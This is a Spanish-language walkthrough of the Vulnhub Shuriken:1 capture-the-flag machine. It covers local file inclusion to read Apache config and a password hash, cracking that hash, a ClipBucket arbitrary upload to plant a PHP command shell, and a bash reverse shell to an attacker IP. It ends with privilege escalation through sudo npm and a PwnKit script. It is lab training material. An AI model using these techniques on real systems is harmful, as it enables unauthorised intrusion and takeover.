Vulnhub-Shuriken:1 CTF Walkthrough



Esa es la primera máquina que desarrollé. Intenté hacer uso de técnicas más realistas y luego incluirlas en una sola máquina. Tenga en cuenta que sigue siendo solo un CTF. Se supone que es bastante fácil. ¿Puedes aprovechar las malas configuraciones realizadas por The Shuriken Company? Nos vemos en la raíz.
Con la herramienta Netdiscover realizaré el reconocimiento de nuestra máquina objetivo.
Netdiscover
Nuestra máquina objetivo tiene la dirección IP 192.168.50.153. Ahora con la herramienta Nmap realizaré un escaneo para averiguar los puertos abiertos de los servicios que se están ejecutando en la máquina objetivo.
nmap
Como se muestra en la imagen anterior, en la máquina objetivo hay tan solo un puerto abierto que está ejecutando la aplicación apache httpd 2.4.29. Ahora lo que haré es cargar la página web en mi navegador web.
Vulnhub Shuriken
Como se muestra en la imagen se despliega una página web de una compañía llamada Shuriken. Revisando los diferentes links no encontré nada interesante. Por lo tanto, lo que haré es con la herramienta Gobuster enumeraré directorio del servicio web.
Gobuster
Aquí el directorio que llamo mi atención es el directorio /secret, cargaré este directorio en mi navegador web para analizar que contiene.
secret-folder
Al cargar el directorio /secret en el navegador, se enumera los archivos que contiene este directorio. En este directorio hay un solo archivo con extensión .png, cargaré este archivo en el navegador.
secret.png
Se nos muestra una imagen con una pista “javascript”, esto sugiere que debemos analizar el directorio /js descubierto por la herramienta Gobuster.
js-folder
El directorio /js hay dos archivos con extensión .js. Por lo tanto, lo que haré será analizarlos y ver si hay algo interesante en estos archivos. Para analizar estos archivos utilizaré la herramienta online JS-Beatify

En el archivo index__7ed54732.js enumeré la siguiente URL http://broadcast.shuriken.local
index__7ed54732.js
En el archivo index__d8338055.js enumeré otra URL http://shuriken.local/index.php?referer
index__d8338055.js
Como se ve en las imágenes anterior enumeré dos URL. Lo que haré ahora es agregar estas URL en mi archivo /etc/hosts para poder enrutar estas URL.
/etc/hosts
Una vez nuestro archivo /etc/hosts está configurado, revisare si la URL http://shuriken.local/index.php?referer es vulnerable a la vulnerabilidad Local File Inclusion (LFI).
IoC LFI
Al realizar la prueba que consiste en pasarle al parámetro ?referer=/etc/passwd he enviar la solicitud al servidor, este no despliega el archivo passwd en ninguna parte de la página web, pero si lo hace en el código fuente como se muestra en la siguiente imagen.
despliegue /etc/passwd
Ahora sabemos que la página web es vulnerable a LFI, también sabemos que el servidor web tiene configurado hosts virtuales. Entonces exploraré estos archivos para enumerar otros datos de interés.

Como se muestra en la imagen hay tres host virtuales configurado en la máquina objetivo. Sabemos que los host shuriken y shuriken.local apuntan a la misma página web.
Y el host virtual broadcast.shuriken.local apunta a una página web que está protegida por autenticación HTTP.
Autenticacion_basica
Para implementar la autenticación HTTP en Apache para proteger directorios se debe hacer uso de los archivos .htaccess y .htpasswd. Para mayor información visite la siguiente documentación de Mozilla Developer.

Como sabes que el sitio web es vulnerable a LFI enumerare el archivo 000-default.conf que se encuentran en el directorio /etc/apache2/sites-available/.
000-default.conf
En el archivo 000-default.conf se encuentra la configuración del host virtual broadcast.shuriken.local y en él se encuentra la ruta del archivo .htpasswd donde se configuran las credenciales de acceso.
000-default.conf
Como se muestra en la imagen anterior se encuentra las credenciales de usuario, donde developers es el nombre de usuario y la password es $apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0. Esta password esta hashea en formato MD5(APR), el algoritmo MD5(APR) es un algoritmo específico de Apache para cifrar datos.

Con la herramienta John the Ripper descifraré la contraseña. Primero crearé un fichero llamado password.txt como se muestra en la siguiente imagen.
password
Luego, ejecutaré la herramienta John the Ripper de la siguiente manera.
John the Ripper
Como se muestra en la imagen la contraseña para el usuario developers es 9972761drmfsls.
Al ingresar al sitio web luego de usar las credenciales antes mencionada se muestra lo siguiente.
CyberBucket
ClickBucket es una aplicación para compartir videos (clon de Youtube) de código abierto según se explica en el repositorio Github. La aplicación esta escrita en el lenguague PHP y base de datos MySQL.

Con la herramienta searchsploit buscaré alguna vulnerabilidad conocida para esta aplicación.
searchsploit
Como se muestra en la imagen anterior existen varias vulnerabilidades conocidas para diferentes versiones del software.

Entonces debemos averiguar la versión del software que se está ejecutando en la máquina objetivo.
ClipBukert versión
Como se muestra en la imagen anterior la versión que se está ejecutando es la versión 4.0 de ClipBucket. Probaré el siguientes exploit.
exploit clipbucket
Para explorar la información del exploit ejecutaré el siguiente comando “searchsploit -x php/webapps/44250.txt”, se nos mostrará la siguiente información.
exploit-info
En el archivo anterior se nos muestran varias pruebas de conceptos, en mi caso utilizaré la siguiente.
exploit-use
Nos indican que podemos subir un archivo arbitrario no autenticado, es decir, podemos subir cualquier tipo de archivo sin iniciar sesión en la aplicación. No confundir con la autenticación que se debe realizar para ingresar al directorio de la aplicación que está protegida por autenticación HTTP.

Antes de ejecutar la carga de archivo en el servidor, con la herramienta Gobuster realizaré enumeración de directorios.
Gobuster
Al parecer los archivos se guardan en el directorio /files, esto es importante saber, para saber dónde llamar el archivo que cargamos.

Ahora crearé un archivo .php con el siguiente código para ejecutar comandos en el servidor web.
cmd_php
Luego, ejecutaré el comando curl que se menciona en la explicación de ejecución del exploit anteriormente.
upload-file
Nuestro archivo se guarda en el directorio /actions/CB_BEATS_UPLOAD_DIR no en el directorio /files que mencioné anteriormente.
dir-upload

Por lo tanto, nuestra URL ahora para ejecutar comandos será la siguiente. http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/170485415813e67b.php
PoC inyections code
Ahora queda tratar de ganar acceso la máquina objetivo. para esto dejaré a la escucha el puerto 443 en mi máquina atacante con la herramienta Netcat.
netcat
Y en la máquina objetivo ejecutaré la siguiente solicitud al servidor. http://broadcast.shuriken.local/actions/CB_BEATS_UPLOAD_DIR/170485415813e67b.php?cmd=bash%20-c%20%22bash%20-i%3E%26%20/dev/tcp/192.168.50.35/443%200%3E%261%22, la solicitud está URL Encodeada la petición "bash -c "bash -i>& /dev/tcp/192.168.50.35/443 0>&1" con lo anterior esto debería dar acceso a la máquina objetivo.
acceso-maquina-objetivo
Obtuvimos acceso a la máquina objetivo, encontré un directorio interesante llamado server-managment.
dir-server-management
Pero no tenemos acceso al directorio como se muestra en la siguiente imagen.
permission-denied
Ahora ejecutaré los comandos id, sudo -l para ver los permisos de usurio www-data.
comando id sudo-l
El usuario www-data puede ejecutar /usr/bin/npm sin proporcionar contraseña, como se muestra en la siguiente imagen.
npm
Por lo tanto, podemos buscar la opción de ejecutar algún comando a través de npm para obtener acceso al directorio. Para esto me apoyare del sitio web gtfobins.github.io y buscar algún comando que podamos ejecutar.

GTFObins
Al realizar una búsqueda hay dos opciones de poder ejecutar un comando.
GTFObins-npm
Como tenemos privilegio de sudo utilizaré la función Sudo.
GTFObins-Sudo

Como se muestra en la imagen nos da error al ejecutar la instrucción sudo -u server-management npm -C $TF --unsafe-perm i, esto se debe a los permisos de ejecución. Para esto demos ejecutar los siguientes comandos.

chmod 777
Ahora debemos ejecutar nuevamente la instrucción sudo -u server-management npm -C $TF --unsafe-perm i, si todo sale bien obtendremos shell.
bash
Con lo antenrior escalamos privilegio y tuvimos acceso al directorio del usuario, donde encontramos nuestra primera flag.
accesso-server-management
Ahora hay que elevar privilegios como usuario root para encontrar nuestra flag root. Para eso ejecutare el comando find para encontrar archivos con permisos root.
comando find linux
Existe una vulnerabilidad llamada PwnKit CVE-2021-4034, que hace referencia a la utilidad de Linux pkexec en las distribuciones Ubuntu, Debian, Fedora y CentOS.

Para mayor información sobre está vulnerabilidad lean los siguientes links:




Buscando en internet encontré el siguiente script en Python para elevar privilegio a través de la vulnerabilidad pkexec.
POC pkexec PythonUna vez descargado el repositorio de Github, debemos enviarlo a nuestra máquina víctima como se muestra en las siguientes imágenes.
server Python
En mi máquina atacante levante un servidor con Python.Y en la máquina objetivo descargo el archivo.
descargar-exploit-maquina-victima
Por último, ejecutamos nuestro script en nuestra máquina víctima.
elevacion-privilegio
Elevamos privilegio a usuario root, luego me cambié de directorio al directorio /root donde se encuentra la flag root.
flag root

Happy Hack!!!

Comentarios